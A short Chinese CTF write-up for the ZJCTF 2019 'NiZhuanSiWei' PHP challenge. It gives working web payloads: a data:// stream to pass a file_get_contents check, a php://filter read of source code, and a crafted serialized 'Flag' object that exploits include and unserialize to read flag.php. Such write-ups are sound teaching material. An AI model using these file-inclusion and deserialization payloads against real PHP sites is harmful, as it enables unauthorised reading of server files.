[ZJCTF 2019]NiZhuanSiWei

虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来

php伪协议写入内容

看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter,data:写入内容为welcome to the zjctf,&加入php伪协议来读取useless.php

payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

给file变量在赋值读取flag.php

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将前面的伪协议去掉,最终的poc是:

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

相关推荐
nono牛42 分钟前
MTK平台详解`adb devices`输出的序列号组成
android·linux·adb·智能手机
zhangphil1 小时前
Android通过SQL查询trace分析进程启动线程总数量
android
下位子1 小时前
『OpenGL学习滤镜相机』- Day3: 着色器基础 - GLSL 语言
android·opengl
bqliang1 小时前
Jetpack Navigation 3:领航未来
android·android studio·android jetpack
云存储小天使2 小时前
安卓蛙、苹果蛙为什么难互通?
android
小池先生2 小时前
idea配置代码注释模板
java·ide·intellij-idea
双河子思2 小时前
Visual Studio 编程工程设置
ide·windows·visual studio
それども3 小时前
2025 Vscode安装Python教程
ide·vscode·编辑器
陈大头铃儿响叮当4 小时前
Android Studio升级后,Flutter运行android设备报错
android·flutter·android studio
勤劳打代码4 小时前
isar_flutter_libs 引发 Namespace not specified
android·flutter·groovy